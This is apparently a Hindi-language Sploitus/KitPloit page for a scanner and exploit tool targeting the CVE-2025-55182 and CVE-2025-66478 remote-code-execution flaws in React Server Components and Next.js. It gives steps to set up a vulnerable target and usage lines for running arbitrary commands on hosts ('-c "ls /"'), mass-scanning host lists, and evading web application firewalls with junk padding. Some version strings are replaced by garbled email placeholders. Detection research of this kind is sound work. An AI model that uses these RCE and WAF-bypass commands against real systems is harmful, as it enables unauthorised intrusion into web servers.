Exploit for CVE-2025-55182 CVE-2025-55182 CVE-2025-66478

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZZHORC-CVE-2025-55182
# प्रभावित संस्करण

घटक| पुनरुत्पादन हेतु अनुशंसित संस्करण| असुरक्षित संस्करण सीमा  
---|---|---  
**Node.js**|  >= 20.9.0| 20.9.0 (LTS) और उससे ऊपर  
**Next.js**|  15.0.0| 15.x, 16.x (App Router)  
**React Core**|  19.0.0 या 19.2.0| 19.0.0 से 19.2.0 तक  
**RSC Bundler**|  react-server-dom-webpack| 19.0.0 से 19.2.0 तक  
  
# बिल्ड और स्टार्ट

  1. निम्न संस्करण को बलपूर्वक इंस्टॉल करें

root@kitploit:~
         
         cd cve-2025-55182-target
         npm install --force
         

  2. निर्भरता संस्करण सत्यापित करें

root@kitploit:~
         
         npm list react next
         # 确认输出显示 some-email@example.com 和 some-email@example.com
         

जब तक शीर्ष-स्तरीय निर्भरता सूची some-email@example.com और some-email@example.com दिखाती है, परिवेश सफलतापूर्वक असुरक्षित अवस्था में लॉक हो चुका है; यहाँ दिखाई देने वाली चेतावनियों और त्रुटि कोडों को अनदेखा किया जा सकता है।

  3. बिल्ड करें:

root@kitploit:~
         
         npm run build
         

  4. चलाएँ:

root@kitploit:~
         
         npm start
         

सर्वर http://localhost:3000 पर सुन रहा होगा। परिवेश सेटअप पूर्ण हो गया है; अब भेद्यता सत्यापन शुरू किया जा सकता है।




# उदाहरण

  * भेद्यता पहचान/स्कैनिंग:

root@kitploit:~
        
        cd React2shell
        python3.11 scanner.py -u http://127.0.0.1:3000/
        

  * RCE:

root@kitploit:~
        
        python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
        

![rce](https://assets.kitploit.com/production/public/readmes/35218/28db349c770af9d4439091d35182abd56999b2278c7c42a58ba12b3e9c14bc24.png)




![poc](https://assets.kitploit.com/production/public/readmes/35218/5213e2cfc1b34d4d359013a33a32d178a16b9b83fd53705abb23a247758ba2f7.png)

# संदर्भ

react2shell-scanner

## react2shell-scanner

React Server Components का उपयोग करने वाले Next.js अनुप्रयोगों में CVE-2025-55182 और CVE-2025-66478 का पता लगाने के लिए एक कमांड-लाइन टूल।

भेद्यता और पहचान पद्धति की तकनीकी जानकारी के लिए, हमारा ब्लॉग पोस्ट देखें: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

## यह कैसे काम करता है

डिफ़ॉल्ट रूप से, स्कैनर एक निर्मित मल्टीपार्ट POST अनुरोध भेजता है जिसमें एक RCE प्रूफ-ऑफ-कॉन्सेप्ट पेलोड होता है जो एक निश्चित गणितीय ऑपरेशन (`41*271 = 11111`) निष्पादित करता है। असुरक्षित होस्ट परिणाम को `X-Action-Redirect` प्रतिक्रिया हेडर में `/login?a=11111` के रूप में लौटाते हैं।

स्कैनर पहले रूट पाथ का परीक्षण करता है। यदि यह असुरक्षित नहीं है, तो यह समान-होस्ट रीडायरेक्ट्स (जैसे, `/` से `/en/`) का अनुसरण करता है और रीडायरेक्ट गंतव्य का परीक्षण करता है। क्रॉस-ओरिजिन रीडायरेक्ट्स का अनुसरण नहीं किया जाता है।

### सुरक्षित जाँच मोड

`--safe-check` फ्लैग एक वैकल्पिक पहचान विधि का उपयोग करता है जो टारगेट पर कोड निष्पादित किए बिना साइड-चैनल संकेतकों (विशिष्ट त्रुटि डाइजेस्ट के साथ 500 स्टेटस कोड) पर निर्भर करती है। जब RCE निष्पादन वांछित न हो तो इस मोड का उपयोग करें।

### WAF बाइपास

`--waf-bypass` फ्लैग मल्टीपार्ट अनुरोध बॉडी में यादृच्छिक जंक डेटा जोड़ देता है। यह WAF सामग्री निरीक्षण से बचने में मदद कर सकता है जो केवल अनुरोध बॉडी के पहले भाग का विश्लेषण करता है। डिफ़ॉल्ट आकार 128KB है, जिसे `--waf-bypass-size` के माध्यम से कॉन्फ़िगर किया जा सकता है। जब WAF बाइपास सक्षम होता है, तो टाइमआउट स्वचालित रूप से 20 सेकंड तक बढ़ा दिया जाता है (जब तक कि स्पष्ट रूप से सेट न किया गया हो)।

### विंडोज मोड

`--windows` फ्लैग विंडोज पर चलने वाले टारगेट्स के लिए पेलोड को Unix शेल (`echo $((41*271))`) से PowerShell (`powershell -c "41*271"`) में बदल देता है।

## आवश्यकताएँ

  * Python 3.9+
  * requests
  * tqdm



## इंस्टॉलेशन

root@kitploit:~
    
    
    pip install -r requirements.txt
    

## उपयोग

एकल होस्ट स्कैन करें:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com
    

होस्टों की सूची स्कैन करें:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt
    

एकाधिक थ्रेड्स के साथ स्कैन करें और परिणाम सहेजें:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt -t 20 -o results.json
    

कस्टम हेडर के साथ स्कैन करें:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
    

सुरक्षित साइड-चैनल पहचान का उपयोग करें:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --safe-check
    

विंडोज टारगेट्स स्कैन करें:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --windows
    

WAF बाइपास के साथ स्कैन करें:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --waf-bypass
    

RCE

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com -c "ls /"
    

## विकल्प

root@kitploit:~
    
    
    -u, --url         Single URL to check
    -c, --cmd         Command to execute
    -l, --list        File containing hosts (one per line)
    -t, --threads     Number of concurrent threads (default: 10)
    --timeout         Request timeout in seconds (default: 10)
    -o, --output      Output file for results (JSON)
    --all-results     Save all results, not just vulnerable hosts
    -k, --insecure    Disable SSL certificate verification
    -H, --header      Custom header (can be used multiple times)
    -v, --verbose     Show response details for vulnerable hosts
    -q, --quiet       Only output vulnerable hosts
    --no-color        Disable colored output
    --safe-check      Use safe side-channel detection instead of RCE PoC
    --windows         Use Windows PowerShell payload instead of Unix shell
    --waf-bypass      Add junk data to bypass WAF content inspection
    --waf-bypass-size Size of junk data in KB (default: 128)
    

## श्रेय

RCE PoC मूल रूप से @maple3142 द्वारा सार्वजनिक किया गया था -- एक कार्यशील PoC प्रकाशित करने के लिए हम उनके कार्य के प्रति अत्यंत आभारी हैं।

यह टूलिंग मूल रूप से RCE का पता लगाने के एक सुरक्षित तरीके के रूप में बनाई गई थी। यह कार्यक्षमता अभी भी `--safe-check`, अर्थात "सुरक्षित पहचान" मोड के माध्यम से उपलब्ध है।

  * Assetnote Security Research Team - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah
  * xEHLE_ \- प्रतिक्रिया हेडर में RCE आउटपुट प्रतिबिंब
  * Nagli



## आउटपुट

परिणाम टर्मिनल पर प्रिंट होते हैं। `-o` का उपयोग करने पर, असुरक्षित होस्ट सत्यापन हेतु पूर्ण HTTP अनुरोध और प्रतिक्रिया वाली एक JSON फ़ाइल में सहेजे जाते हैं।